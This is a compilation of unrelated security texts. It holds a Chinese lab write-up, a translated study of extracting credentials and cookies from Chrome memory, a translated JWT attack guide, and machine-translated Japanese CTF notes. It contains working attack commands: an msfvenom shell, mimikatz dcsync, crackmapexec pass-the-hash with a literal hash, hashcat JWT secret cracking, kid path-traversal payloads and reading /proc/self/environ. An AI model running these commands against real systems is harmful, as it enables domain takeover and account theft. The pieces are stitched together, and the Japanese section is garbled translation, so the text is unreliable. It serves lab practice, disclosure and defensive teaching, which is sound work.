Admins路径由粗到细的那边，就是xx对xx具有的权限或者说关系，所以路径如下 从BloodHound上可以知道下一步我们需要对yuxuan这个用户动手 ‍ windows自动登录HasSession：用户与计算机时进行会话时，凭据会保留在内存中，说明yuxuan这个用户登录过WIN2019 很多用户习惯将计算机设置自动登录，可以使用MSF抓取自动登录的用户名和密码 先生成一个正向的shell msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe然后上传到目标机器 win2019 （172.22.6.25）上运行 使用代理运行msf然后连接 use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 172.22.6.25 run抓取自动登录的密码 meterpreter > run windows/gather/credentials/windows_autologin我这里没抓到密码，做不下去了。 没办法只能看着别人的wp继续了。 抓密码得到yuxuan/Yuxuan7QbrgZ3L，ok现在我们就可以拿yuxuan登上WIN2019了 哈希传递HasSIDHistory：用户的SID历史记录，用户在域迁移后，票据还包含着前域所在组的SID，虽然用户不属于前域，但仍拥有前域的权限 使用yuxuan这个用户抓Administrator的哈希 mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exitsmb横向WIN2019，获得第三个flag proxychains crackmapexec smb 172.22.6.25 -u administrator -H04d93ffd6f5f6e4490e0de23f240a5e9 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" 原文链接： https://zhuanlan.zhihu.com/p/582525371

憑證數據（URL/用戶名/密碼）以明文格式存儲在Chrome的內存中。除了登錄特定Web應用程序時動態輸入的數據外，攻擊者還可以使瀏覽器將存儲在密碼管理器(“登錄數據”文件)中的所有密碼加載到內存中。 Cookie的數據（cookie的值+屬性）以明文格式存儲在Chrome的內存中（當相關應用程序被急活時），這包括敏感的會話cookie。 這些信息可以通過在本地設備上運行的標準（非提升）進程有效地提取，並直接訪問Chrome的內存（使用OpenProcess+ReadProcessMemoryAPI）。 提取的數據可用於劫持用戶的帳戶，即使它們受到MFA機制的保護（使用“會話cookie”數據）。 Gmail、OneDrive和GitHub的示例會話劫持是“POC-ed”。 在MicrosoftEdge瀏覽器中發現了類似的漏洞（據推測，其他基於Chromium引擎的瀏覽器也會出現）。 本文描述了對瀏覽器的直接內存訪問攻擊。還有其他公開的竊取這些敏感數據的方法。 為什麼這是一個重要問題：如果一個人接受“假設違規”範式，那麼基於Chromium的瀏覽器處理敏感憑證數據的方式中的漏洞都應該被視為主要的安全風險。緩解措施應處理所有這些漏洞。 ProcessHacker工具（由WenJiaLiu編寫）在這項研究中被證明非常有用。如果你懷疑某個特定字符串存儲在進程的內存中，那麼查找它的快速方法是： 在ProcessHacker.exe中打開該進程； 選擇“內存”選項； 激活“字符串”子選項； 選擇“過濾器”選項並在“包含.”框架中輸入你要查找的字符串； 這是我查找已知密碼時生成的輸出示例（為了保密，我更改了它）： ProcessHacker.exe在Chrome內存中識別的已知密碼 如果你返回顯示的內存佈局（當你選擇“內存”選項時），你會發現該字符串位於Private類型的內存部分中： 查找已知密碼存儲在Chrome內存中的內存塊 深入查看該內存塊，密碼存儲在Private:Commit類型的內存部分中： 查找已知密碼存儲在Chrome內存中的特定內存部分 根據MSDN，私有內存（MEMORY_BASIC_INFORMATIONType=MEM_PRIVATE）意味著： MSDN中的MEM_PRIVATE內存屬性定義 人們可能會認為存儲在此類內存頁面中的數據不能被任何其他進程訪問。令人驚訝的是，這些頁面不能成為“共享內存”的一部分，但其他進程讀取其中的數據沒有問題（通過ReadProcessMemoryAPI）。 可以看到，上述ProcessHacker.exe作為標准進程運行，訪問這些數據沒有問題！ 如果這些頁面真的是私有的，那麼這裡描述的攻擊向量將是不可能的。我想知道Chromium的創建者是否（在某些時候）認為敏感數據在存儲在私有內存中時是安全的。 當然，在瀏覽器內存中查找已知字符串並不是什麼大問題。尋找未知字符串怎麼樣？我決定只通過查看進程內存來嘗試找到敏感數據（不嘗試分析程序的開源代碼）。 Chromium內存佈局看起來像是被設計成一個“乾草堆（haystack）”，因此很難找到和“理解”存儲的數據（特別是密碼和cookie值等敏感字符串）。我還遇到了各種蜜罐，它們看起來像是故意創建的，用於生成明文密碼的誤報識別。其中的困難包括： 1.相對大量的瀏覽器進程（例如chrome.exe）。 2.每個進程都分配了大量的虛擬內存（有些超過230GB）。 3.每個進程的內存由許多（有時數百個）“脫節”的小型已提交內存部分組成，這些部分由“保留”部分分隔。 4.大內存“組合”部分，包括許多如上所述的不相交的部分，這些部分實際上是“空的”（不是“真正”使用的）。 5.看起來像密碼或cookie值的字符串（實際字符串的子字符串）。 6.將屬於一個邏輯“記錄”的項目（例如URL+用戶名+密碼）分散到遠程存儲位置。 這可能是所有看起來像是隱藏(“混淆”)的嘗試，而只是正常操作的結果。如上所述，我沒有查看代碼，但我認為他們試圖隱藏敏感數據。 從Chrome內存中提取的明文憑證數據類型 事實證明，通過標準的非特權進程可以很容易地從瀏覽器的內存中有效地提取明文憑證數據。實際上，這意味著： 1.它使用了合理數量的計算機資源（CPU能力、內存）。 2.執行在合理的時間內完成。 3.誤報現象較少。 注意：當描述POC程序的部分時，我知道大多數讀者會期望關鍵功能的技術細節和源代碼片段。由於本博文結尾部分解釋的原因，此信息不會被披露。已開發POC程序以提取以下類型的信息： 1、登錄目標Web應用程序時使用的用戶名+密碼該程序等待用戶登錄特定的Web應用程序（例如Gmail、OneDrive、GitHub等），然後分析捕獲的內存快照以識別用於登錄應用程序的用戶名和密碼。 這有點像一個有效的鍵記錄程序可以實現的功能，但重要的區別是，之前存儲的密碼(例如，在瀏覽器的密碼管理器工具中)，它完全繞過了最初定義時沒有運行的鍵記錄程序，將被我們的程序發現。 該程序查看登錄之前和之後立即拍攝的快照之間的差異，並查找僅出現在“after”內快照中並且看起來像潛在的用戶名和密碼字符串的新字符串。 注意：這是本研究中開發的最複雜的POC程序，它產生了相當多的誤報結果，因為相當多的新字符串出現在“after”內存快照中。 排除這些假陽性案例是可能的（例如，通過識別出現在登錄過程中的常見“單詞”），並且如果想要努力，可以不斷改進。具有諷刺意味的是，密碼越強，就越容易從“噪音”假陽性案例中分離出來(例如，由小寫和大寫字符、數字和特殊符號組成的10個字符的字符串比只有小寫字符的7個字符的字符串更有可能是密碼)。 2、URL+用戶名+密碼在瀏覽器啟動時自動加載到內存中當瀏覽器啟動時，“登錄數據”文件（Chromium存儲保存的密碼）中的一些條目會自動加載到內存中。雖然並非“登錄數據”中的所有條目都必須加載，但最近使用的條目是必須加載的。 “登錄數據”數據庫中的密碼是DPAPI加密的，但是當它們“分散”到內存中時，它們會以明文格式保存。 與前一種情況（上面的“a”）不同，這里分析一組快照就足夠了，因為加載的憑證數據靜態地保留在內存中。 我們開發了一個有效的POC程序，可以從內存中提取這些數據。可能會生成少量誤報項目。同樣，過濾掉誤報情況的算法可以得到顯著和持續的改進。 3、登錄數據中存儲的所有URL+用戶名+密碼記錄可以使瀏覽器的密碼管理器功能將其所有存儲的記錄加載到內存中。我們開發的POC程序可以提取所有加載的記錄。在這種情況下，敏感數據以易於識別的結構排列。 因此，程序對提取的數據有很高的信心，並且在大多數情況下，幾乎沒有誤報條目。 在這種情況下，所有保存的密碼記錄都加載到了Chrome的內存中。他還幫助我發現和分析了各種Chromium內存佈局。 4.屬於特定Web應用程序的所有cookie（包括會話cookie） 該程序等待用戶登錄到一個特定的應用程序(例如，Gmail, OneDrive, GitHub等)。當應用程序會話處於活動狀態時，程序可以從Chrome的內存中提取屬於該會話的所有cookie。這些被盜的cookie可以上傳到不同設備上的瀏覽器中，並且會話可以被盜（繞過任何MFA機制）。 當竊取的cookie被用於劫持會話時，典型的應用程序（例如Gmail）無法識別連接是從新設備還是從新位置建立的。這是因為完全繞過了登錄過程。根據cookie的內容，應用程序假定這是先前經過身份驗證的會話的延續。 值得注意的是，某些應用程序鼓勵其用戶不要退出應用程序。例如，Gmail的會話cookie的有效期為自首次生成之日起兩年。同樣，MicrosoftOneDrive最近開始向其網絡用戶建議他們無需退出會話。在這些情況下，竊取會話cookie的攻擊者可能會在很長一段時間內與真正的所有者“共享”該帳戶。 誤判極為罕見。 負責任的披露和供應商響應我於2021年7月29日向Google報告了此問題： 谷歌回應 該報告包括Gmail會話劫持的詳細POC，包括從Chrome內存中提取cookie的程序的源代碼。 Chromium.org的回复(WontFix)很快： Chromium.org以WontFix狀態關閉問題 這種回應並不令人驚訝，因為其他類似“假設違規”漏洞的報告也收到了類似的回應。 14週後，Chromium公開了我的報告： 谷歌向公眾發布問題細節 總的來說，Chromium.org表示他們不會修復與物理本地攻擊相關的問題，因為Chrome(或任何應用程序)沒有辦法防禦一個以你的身份登錄你的設備的惡意用戶。雖然這種說法總體上可能是正確的（特別是如果你假設攻擊者可以獲得管理員權限），但我相信竊取敏感憑證應該不像今天這樣容易。因此，如上所述，我的下一篇文章將提出幾種緩解技術，使攻擊更難執行。 在披露後大約一個月，我的程序未能提取cookie數據。事實證明，一般內存佈局已被修改（在Chrome和Edge中）。大約兩個月後，它再次失敗。這一次，“敏感”數據的位置已經改變（同樣，同時針對Chrome和Edge）。 最初的POC程序是為Chrome版本91.0.4472.164開發的： 原始POC程序的Chrome版本 演示視頻中的POC程序正在訪問Chrome的96.0.4664.45版本： 演示視頻中用於POC程序的Chrome版本 如上所述，自從我們負責任地披露了這個漏洞以來，已經發現了內存佈局以及cookie值在內存中存儲方式的修改。但是，這些修改非常普遍，並沒有使“憑證竊取”行文變得更加困難。 由於供應商未計劃修復該漏洞，因此共享POC或源代碼不會促進問題的解決，而是可能造成傷害或提升相關威脅。因此，我們決定不發布POC。

在本文中，我們將探討JSON網絡令牌（JWT）的設計問題以及不當的處理方式是如何讓網站面臨各種高危攻擊的威脅的。由於JWT最常用於身份認證、會話管理和訪問控制機制，因此，這些漏洞有可能危及整個網站及其用戶。 如果還不熟悉JWT及其工作原理，那也不用擔心——我們會順便介紹所有相關細節。此外，我們還提供了一些含有相關漏洞的實驗環境，這樣你就可以針對真實的目標安全地進行滲透測試了。 實驗環境如果您已經熟悉了JWT攻擊背後的基本概念，目前只想在一些現實的、故意易受攻擊的目標上練習這些漏洞的利用方法，則可以通過下面的鏈接來訪問本專題的所有實驗緩解。 要想查看所有JWT實驗環境，請訪問https://portswigger.net/web-security/all-labs#jwt。 需要注意的是，從Burp Suite Professional 2022.5版本開始，Burp Scanner就可以替您自動檢測JWT機制的某些漏洞。目前，這個版本只在我們的Early Adopter發布頻道提供。關於如何切換渠道的更多信息，請參見https://portswigger.net/burp/documentation/desktop/early-adopter。 什麼是JWT？ JSON Web令牌（JWT）是一種標準化的格式，用於在系統之間發送經過加密簽名的JSON數據。它們理論上可以包含任何類型的數據，但最常用於發送關於用戶的信息（“聲明”），以進行身份認證、會話處理和訪問控制。 與傳統的會話令牌不同，服務器需要的所有數據都存儲在JWT本身的客戶端。這使得JWT成為高度分佈式網站的熱門選擇，在這些網站中，用戶需要與多個後端服務器進行無縫交互。 JWT格式JWT由3部分組成：頭部、載荷和簽名。這些部分之間用點號隔開，具體如下面的例子所示： eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwi c3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1z fl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5eh oxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfAJWT的頭部和載荷部分其實就是用base64url編碼的JSON對象。其中，頭部包含關於令牌本身的元數據，而載荷包含關於用戶的實際“聲明”。例如，您可以對上述令牌的載荷進行解碼，從而得到以下聲明： { 'iss':'portswigger', 'exp':1648037164, 'name':'CarlosMontoya', 'sub':'carlos', 'role':'blog_author', 'email':'carlos@carlos-montoya.net', 'iat':1516239022 }在大多數情況下，任何有權訪問令牌的人都可以輕鬆地讀取或修改這些數據。因此，任何基於JWT機制的安全性都嚴重依賴於密碼簽名。 JWT簽名頒發令牌的服務器通常通過對頭部和載荷計算哈希值來生成簽名。在某些情況下，它們還對產生的哈希值進行加密處理。但是無論哪種方式，這個過程都涉及一個秘密密鑰。如果不知道這個密鑰，就無法為給定的頭部和載荷生成有效的簽名。這實際上就為服務器提供了一種機制，以驗證自令牌頒發以來沒有任何數據被篡改過，因為對頭部或載荷部分的任何修改，都將意味著簽名不再匹配。 如果您想更好地理解JWTs是如何構造的，可以使用jwt.io上的調試器對任意令牌進行實驗。 JWT、JWS與JWEJWT規範的約束實際上是非常有限的。它只定義了將信息（“聲明”）表示為可以在雙方之間傳輸的JSON對象的格式。在實踐中，JWT並沒有真正作為一個獨立的實體使用。 JWT規範由JSON Web簽名(JWS)和JSON Web加密(JWE)規範組成，它們定義了實際實現JWT的具體方法。 換句話說，JWT通常是指JWS或JWE令牌。當人們使用“JWT”這個術語時，他們幾乎總是指JWS令牌。 JWE的情況也非常相似，只是令牌的實際內容是經過加密的，而不是僅僅經過編碼處理的。 需要說明的是，為簡單起見，在這些資料中，“JWT”主要是指JWS令牌，儘管所述的一些漏洞也可能適用於JWE令牌。 什麼是JWT攻擊？所謂JWT攻擊，是指用戶向服務器發送修改過的JWT，以實現惡意目的。通常情況下，這個目的是通過冒充已經通過身份認證的另一個用戶，以繞過認證和訪問控制。 JWT攻擊的危害是什麼？ JWT攻擊的影響通常很嚴重。如果攻擊者能夠用任意值創建自己的有效令牌，他們就能夠提升自己的權限或冒充其他用戶，從而完全接管這些用戶的賬戶。 JWT攻擊的漏洞是如何產生的？ JWT漏洞通常是由於應用程序本身對JWT的處理有缺陷而產生的。與JWT有關的各種規範在設計上相對靈活，允許網站開發人員自行決定許多實現細節。這可能會導致他們意外地引入安全漏洞，即使是在使用“身經百戰”的代碼庫時。 這些實現缺陷通常意味著JWT的簽名沒有被正確驗證。這使得攻擊者可以通過令牌的載荷篡改傳遞給應用程序的值。即使簽名得到了嚴格的檢查，它是否真的可以被信任，在很大程度上也取決於服務器的秘鑰是否仍然是“機密的”。如果這個密鑰以某種方式被洩露，或者可以被猜測或破解，那麼攻擊者就可以為任意令牌生成有效的簽名，從而攻陷整個機制。 如何通過Burp Suite處理JWT如果您過去還沒有使用過JWT，我們建議您在嘗試本文中的實驗之前先熟悉Burp Suite的相關功能。 如何利用存在缺陷的JWT簽名驗證根據設計，服務器通常不存儲任何關於其頒發的JWT的信息。相反，每個令牌都是一個完全獨立的實體。雖然這樣做有許多優點，但也引入了一個基本問題——服務器實際上不知道關於令牌的原始內容，甚至不知道原始簽名是什麼。因此，如果服務器沒有正確地驗證簽名，就沒有什麼可以阻止攻擊者對令牌的其他部分進行任意篡改。 例如，考慮一個包含以下聲明的JWT： { 'username':'carlos', 'isAdmin':false }如果服務器是根據username來識別會話，那麼，攻擊者就能夠通過修改用戶名來冒充其他已登錄的用戶。同樣，如果isAdmin值被用於訪問控制，攻擊者也可以提通過篡改這個值來實現提權。 在前兩個實驗中，您將看到一些示例，展示了這些漏洞在實際應用程序中的具體表現。 漏洞：接受任意簽名JWT庫通常會提供一個方法來驗證令牌，同時，還會提供另一個方法對其進行解碼。例如，對於Node.js庫jsonwebtoken來說，這兩個方法本別是verify()和decode()。 有時候，開發人員會混淆這兩個方法，只把傳入的令牌傳給decode()方法。這實際上意味著應用程序根本就沒有對簽名進行驗證。 關於通過未驗證的簽名繞過JWT認證的實驗環境，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature。 漏洞：接受未簽名的令牌實際上，JWT頭部還包含一個alg參數。該參數的作用，就是告訴服務器對令牌進行簽名時使用的是哪種算法，換句話說，在驗證簽名時需要使用哪種算法。 { 'alg':'HS256', 'typ':'JWT' }這在本質上是有缺陷的，因為服務器別無選擇，只能隱式地信任提供令牌的用戶的輸入（注意，這些輸入受控於該用戶），而該令牌根本沒有被驗證過。換句話說，攻擊者可以直接影響服務器檢查令牌是否值得信任的方式。 JWT既可以使用一系列不同的算法進行簽名，也可以不簽名。在這種情況下，alg參數被設置為None，表示所謂的'不安全的JWT'。由於這種情況具有顯而易見的安全隱患，因此，服務器通常會拒絕沒有簽名的令牌。然而，由於這種過濾依賴於字符串解析，所以，攻擊者可以使用經典的混淆技術繞過這些過濾器，如混合大寫和非預期的編碼。 需要注意的是，即使令牌是未簽名的，載荷部分也必須以點號結尾。 實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification提供的環境，來練習如何利用有缺陷的簽名驗證機制來繞過JWT認證。暴力破解密鑰某些簽名算法，如HS256（HMAC + SHA-256），會使用一個任意的、獨立的字符串作為秘密密鑰。就像密碼一樣，這個秘密不能被攻擊者輕易猜到或暴力破解，這是至關重要的。否則，他們就能以任意的頭部和載荷值來創建JWT，然後用密鑰重新給令牌簽名。 在實現JWT應用時，開發人員有時會犯一些錯誤，比如忘記改變默認或占位的密碼。他們甚至可能複制和粘貼在網上找到的代碼片段，然後忘記改變作為示例提供的硬編碼的密碼。在這種情況下，攻擊者使用流行的密碼本，輕鬆對服務器的登陸憑據進行暴力破解。 使用hashcat來暴力破解密鑰我們建議使用hashcat對密鑰進行暴力破解。您可以手動安裝hashcat，但它在Kali Linux上是預裝的，可以直接使用。 如果您使用的是Kali中預構建的VirtualBox映像，而不是裸機安裝程序版本，則可能沒有足夠的內存來運行Hashcat程序。 為此，您只需要一個來自目標服務器的有效的、已簽名的JWT，以及一個眾所周知的密碼字典wordlist。然後，可以運行以下命令，將JWT和wordlist作為參數傳入： hashcat-a0-m16500jwtwordlistHashcat程序會使用密碼字典wordlist中的每個密碼對JWT的頭部和載荷進行簽名，然後將得到的簽名與服務器的原始簽名進行比較。如果任何一個簽名匹配，hashcat就會以下列格式輸出已識別的密碼，以及其他各種細節： jwt:identified-secret如果多次運行該命令，則需要包含--show標誌以輸出結果。 由於hashcat在您的機器上本地運行，並且不依賴於向服務器發送請求，所以這個過程會非常快，即使在使用龐大的密碼字典Wordlist時也是如此。 一旦確定了密鑰，就可以使用它為您喜歡的任何JWT頭部和載荷生成有效簽名。有關如何利用Burp Suite重新給修改後的JWT簽名的詳細信息，請參見相關章節。 實驗環境：通過弱簽名密鑰繞過JWT身份驗證的實驗，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key。 如果服務器使用了非常弱的密碼，甚至能夠用遍歷字符的方式進行暴力破解，而不必使用Wordlist。 JWT頭部參數注入根據JWS規範，只有頭部參數alg是必需的。然而，在實踐中，JWT頭部（也稱為JOSE頭部）通常包含其他幾個參數。以下是攻擊者特別感興趣的參數： jwk（JSON Web Key）：提供一個表示密鑰的嵌入式JSON對象。 jku（JSON Web Key Set URL）：提供一個URL，服務器可以從中獲取一組包含正確密鑰的密鑰。 kid（Key ID）：提供一個ID，在有多個密鑰可供選擇的情況下，服務器可以使用該ID來識別正確的密鑰。根據密鑰的格式，它可能還有一個匹配的kid參數。 正如你所看到的，這些用戶可控制的參數用於告訴接收方服務器在驗證簽名時使用哪些密鑰。在本節中，你將學習如何利用這些參數來注入修改過的JWT，而這些JWT都是用你自己的任意密鑰而非服務器的密鑰來簽名的。 通過jwk參數注入自簽名的JWTJSON Web簽名（JWS）規範描述了一個可選的jwk頭部參數，服務器可以用它將其公鑰直接嵌入JWK格式的令牌本身。 JWKJWK（JSON Web密鑰）是一種標準化的格式，用於將密鑰表示為JSON對象。 下面，我們為大家展示一個JWT頭部示例： { 'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG', 'typ':'JWT', 'alg':'RS256', 'jwk':{ 'kty':'RSA', 'e':'AQAB', 'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG', 'n':'yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m' } }對於不熟悉“公鑰”和“私鑰”這兩個術語讀者，請參閱https://portswigger.net/web-security/jwt/algorithm-confusion#symmetric-vs-asymmetric-algorithms。 理想情況下，服務器應該只使用有限的公鑰白名單來驗證JWT簽名。然而，配置錯誤的服務器有時會使用jwk參數中嵌入的任何密鑰來驗證簽名。 因此，攻擊者可以利用這種行為，用自己的RSA私鑰對修改過的JWT進行簽名，然後在jwk頭部中嵌入對應的公鑰。 雖然我們也可以在Burp中手動添加或修改jwk參數，但JWT編輯器擴展提供了一個非常方便的功能，用於幫助我們測試這個漏洞。 1、在加載該擴展後，在Burp的主選項卡欄中，轉到JWT Editor Keys選項卡。 2、創建一個新的RSA密鑰。 3、向Burp Repeater發送一個包含JWT的請求。 4、在消息編輯器中，切換到擴展生成的JSON Web Token選項卡，並以你喜歡的方式修改令牌的載荷。 5、點擊Attack按鈕，然後選擇Embedded JWK。當收到提示時，選擇新生成的RSA密鑰。 6、發送請求，測試服務器的響應情況。 您也可以通過自己添加jwk頭部來手動執行這種攻擊。然而，您可能還需要更新JWT的頭部參數kid，以匹配嵌入的密鑰的kid。實際上，該擴展的內置攻擊可以替我們完成這個步驟。 實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection，來了解如何通過注入jwk頭部來繞過JWT認證。 通過jku參數注入自簽名的JWT實際上，有些服務器並不會直接使用jwk頭部參數來嵌入公鑰，而是讓你使用jku（JWK Set URL）頭部參數來引用一個包含密鑰的JWK Set。當驗證簽名時，服務器會從這個URL中獲取相關的密鑰。 實際上，所謂JWK Set就是一個JSON對象，其中包含一組表示密鑰的JWK，例如： { 'keys':[ { 'kty':'RSA', 'e':'AQAB', 'kid':'75d0ef47-af89-47a9-9061-7c02a610d5ab', 'n':'o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ' }, { 'kty':'RSA', 'e':'AQAB', 'kid':'d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA', 'n':'fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw' } ] }像這樣的JWK集有時會通過一個標準的端點對外公開，如/.known/jwks.json。 雖然更安全的網站只會從受信任的域中獲取密鑰，但有時可以利用URL解析的差異來繞過這種過濾機制。關於這方面的例子，請參閱https://portswigger.net/web-security/ssrf#ssrf-with-whitelist-based-input-filters。 實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection，來練習如何通過注入jku頭部來繞過JWT認證。 通過kid參數注入自簽名的JWT服務器可能會使用多個加密密鑰來為不同類型的數據進行簽名，而不僅僅是JWT。出於這個原因，JWT的頭部可能包含一個kid（密鑰ID）參數，以幫助服務器識別在驗證簽名時要使用的密鑰。 驗證密鑰通常被存儲為JWK Set。在這種情況下，服務器可以直接尋找與令牌具有相同kid參數的JWK。然而，JWS規範並沒有為這個ID定義具體的結構：它只是開發人員任意選擇的一個字符串。例如，他們可能使用kid參數來指向數據庫中的一個特定條目，甚至是一個文件的名稱。 如果這個參數也容易受到目錄遍歷的影響，攻擊者就有可能迫使服務器使用其文件系統中的任意文件作為驗證密鑰。 { 'kid':'././path/to/file', 'typ':'JWT', 'alg':'HS256', 'k':'asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc' }如果服務器也支持使用對稱算法為JWT簽名，這就非常危險了。在這種情況下，攻擊者有可能將kid參數指向一個可預測的靜態文件，然後用一個與該文件內容相匹配的秘密來給JWT簽名。 理論上講，攻擊者可以用任何文件來做這件事，但最簡單的方法之一是使用/dev/null，它存在於大多數Linux系統中。由於這是一個空文件，讀取它時將返回null。因此，用一個Base64編碼的null字節來給令牌簽名將得到一個有效的簽名。 實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal，來練習如何通過kid頭部路徑遍歷漏洞來繞過JWT驗證。 如果服務器將其驗證密鑰存儲在數據庫中，kid頭部參數也是一個潛在的SQL注入攻擊的載體。 其他有趣的JWT頭部參數以下頭部參數也可能是攻擊者感興趣的： ●cty（內容類型）：有時用於聲明JWT載荷中內容的媒體類型。通常情況下，會省略該參數，但底層解析庫可能還是支持它。如果已經找到了繞過簽名驗證的方法，可以嘗試注入cty參數，將內容類型改為text/xml或application/x-java-serialized-object，這有可能為XXE和反序列化攻擊提供新的向量。 ●x5c（X.509證書鏈）：有時用於傳遞用於對JWT進行數字簽名的X.509公鑰證書或證書鏈。這個頭部參數可用於注入自簽證書，類似於上面討論的jwk頭部注入攻擊。由於X.509格式及其擴展的複雜性，解析這些證書也很可能會引入漏洞。這些攻擊的細節超出了本文的討論範圍，但要了解更多細節，請參考CVE-2017-2800和CVE-2018-2633漏洞的相關資料。 JWT算法混淆即使服務器使用了攻擊者無法破解的強大密碼，他們仍然可以通過使用開發人員沒有預料到的算法簽名令牌來偽造有效的JWT。這就是所謂的算法混淆攻擊。關於該攻擊方法的詳細介紹，請訪問這篇文章：https://portswigger.net/web-security/jwt/algorithm-confusion。 如何防禦JWT攻擊您可以通過採取以下措施來保護自己的網站免受本文介紹的各種攻擊： 使用最新的庫來處理JWT，並確保開發人員完全了解它是如何工作的，以及所帶來的任何安全影響。現代代碼庫的使用，降低了在代碼實現中引入安全漏洞的可能性，但由於相關規範固有的靈活性，這也不是萬無一失的。 確保對收到的任何JWT進行嚴格的簽名驗證，並考慮邊緣情況，如使用非預期的算法簽名的JWT。 為jku頭部提供允許主機白名單，並嚴格執行。 確保不會受到通過kid頭部參數進行路徑穿越或SQL注入的影響。 JWT處理的其他最佳實踐我們建議在您的應用程序中使用JWT時遵守以下最佳實踐： 始終為頒發的任何令牌設置一個到期日。 盡可能避免通過URL參數發送令牌。 提供aud聲明（或類似內容），以指定令牌的預期接收者。這可以防止它被用在不同的網站上。 讓頒發服務器能夠撤銷令牌（例如，在註銷時）。

減圧 人形を圧縮し、最後のレイヤーまで解決し、ファイルを抽出します プロンプトは通常のコードを提供します。通常のブラストパスワードによると、合計5桁があり、4桁目は数字です ^（[a-z]）{3} \ d [a-z] $の合計は5桁で、直接blastされ、パスワードxtr4mを取得し、脱落させてフラグを取得します PleasingMusic タイトルの説明に言及しています： 歌はよく聞こえ、ポジティブとネガティブの両方で、ポジティブとネガティブは良いです。プロンプトによると（実際、音楽の後半が後方に再生されることも聞くことができます）、オーディオは逆に処理され、その後モールスコードが解析されます。 モールスコードメーターは手動で翻訳できます。オンラインデコードを使用できます。 粗い表現： - 、薄い表現：スペースまたはスペース：スペースまたは/セグメントを使用します whereisflag 実際のフラグを見つけるための純粋なコマンドマニュアル検索。 /proc/self/Environファイル（現在のプロセスの環境変数を取得するために使用できます）では、次のコマンドを実行してフラグを取得できます。 Cat/Proc/Self/Environ labyirinth コードを引き換える wireshark_checkin wireshark_secret タイトルの説明に連絡して、tivatテキスト比較テーブルを見つけます 比較表にはたくさん説明されています 最初の真ん中に大きな文字列を試しましたが、上下のケースは正しくありませんでした その後、小さな暗号テキストを繰り返し続けて取得します：flagisasesence iiaaelgtsfkfa doyouknowfence mesioaabgnsgogmyeiaied ヒントフラグは文であり、フェンスはフェンスの暗号化mesioaabgnsgogmyeiaidでもあります https://ctf.bugku.com/tool/railfence 提出が提出されたときにパッケージフラグは正しくなく、小文字に切り替えるときは小文字が正しいです。 最後のフラグは次のとおりです：flag {muygenshinisagoodgame} 線の間の秘密 vscodeで開いて、u+202cの広いゼロバイトを発見します パスワードを取得：IT_IS_K3Y パスワードを使用して単語を開き、空白を見つけ、すべてのCTR+Aを選択し、コピーして、フラグを取得します Xiao Ming、熱心で親切な vol.py -f image.raw imageinfo 推奨されるオペレーティングシステムのバージョンは、win7sp1x86_23418、win7sp0x86、win7sp1x86_24000、win7sp1x86であることがわかります。ここでは、最初のもの（win7sp1x86_23418）を選択して試してみます。とにかく、それがうまくいかない場合は、何か他のものを試してください。 vol.py -f image.raw -profile=win/sp1x86_23418 lsadump 最初の0x48はパスワードではありません。サインとして理解できます。これとは別に、システムパスワードを取得できます：zdfyvdlfdtnlul9wnhntdzbyrf9iqunlrvih。 最後のフラグはフラグです{zdfyvdlfdtnlul9wnhntdzzbyrf9iqunlrvih} トレーサーを使用してボルトの台風を使用して ステップ1、ニュースビデオへのリンクを開きます ビデオに基づいて、次の情報を取得します。 必須レポート：ダークパワーの台頭.対応するバージョン：オリジナル4月15日バージョンステータス：必要な情報が改ざんされています。レポート名を直接検索します https://Threatmon.io/storage/the-rise-of-dark-power-a-close-the-the-group-and-the-their-ransomware.pdf 必要なPDFファイルを見ることができますが、ビデオにはレポートコンテンツが改ざんされていることも述べています。 したがって、現在のバージョンには間違いなく必要な情報がありません。 質問者は以前に幸運だったので、彼は直接ダウンロードできる元のバージョンのPDFを見つけました、そして、彼はそれを直接始めることができました。 しかし、運が良くない場合はどうすればよいですか？ —— Waybackマシンを使用するように当社のWebサイトにお願いします。 公式のWebサイトリンクを入力して、たまたま4月15日に利用できるトレーサーを開始します。 ファイルをダウンロードすると、残りはビデオで示されているファイルと同じです。 